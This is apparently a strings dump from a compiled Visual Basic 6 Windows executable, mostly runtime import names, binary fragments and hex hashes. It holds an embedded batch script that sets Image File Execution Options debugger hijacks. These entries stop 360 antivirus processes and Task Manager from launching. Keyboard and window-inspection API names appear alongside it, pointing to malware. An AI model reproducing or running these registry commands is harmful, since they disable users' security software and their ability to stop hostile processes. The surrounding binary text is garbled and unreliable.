MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
1F6866DA5904181AB78CB92397A612F3
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
E990C7F254AFFB40E4F8CC0788E2F17B
75210BD444E7C1EEF190F78A0DCA172A
CB42CF9E8D3246DB9A720B092AEE26F2
FD8FF6F17CFFED7E4027C391D213E9F4
84ED3022B3230383BE8BFCE903E68ACB
DCD5D9C1068016EED1E116CA204EF9F8
7657240CD389E40AA4025DEB5C25BC00
9D183D4775C8E88961F4247B02E71E01
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
1F6866DA5904181AB78CB92397A612F3
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
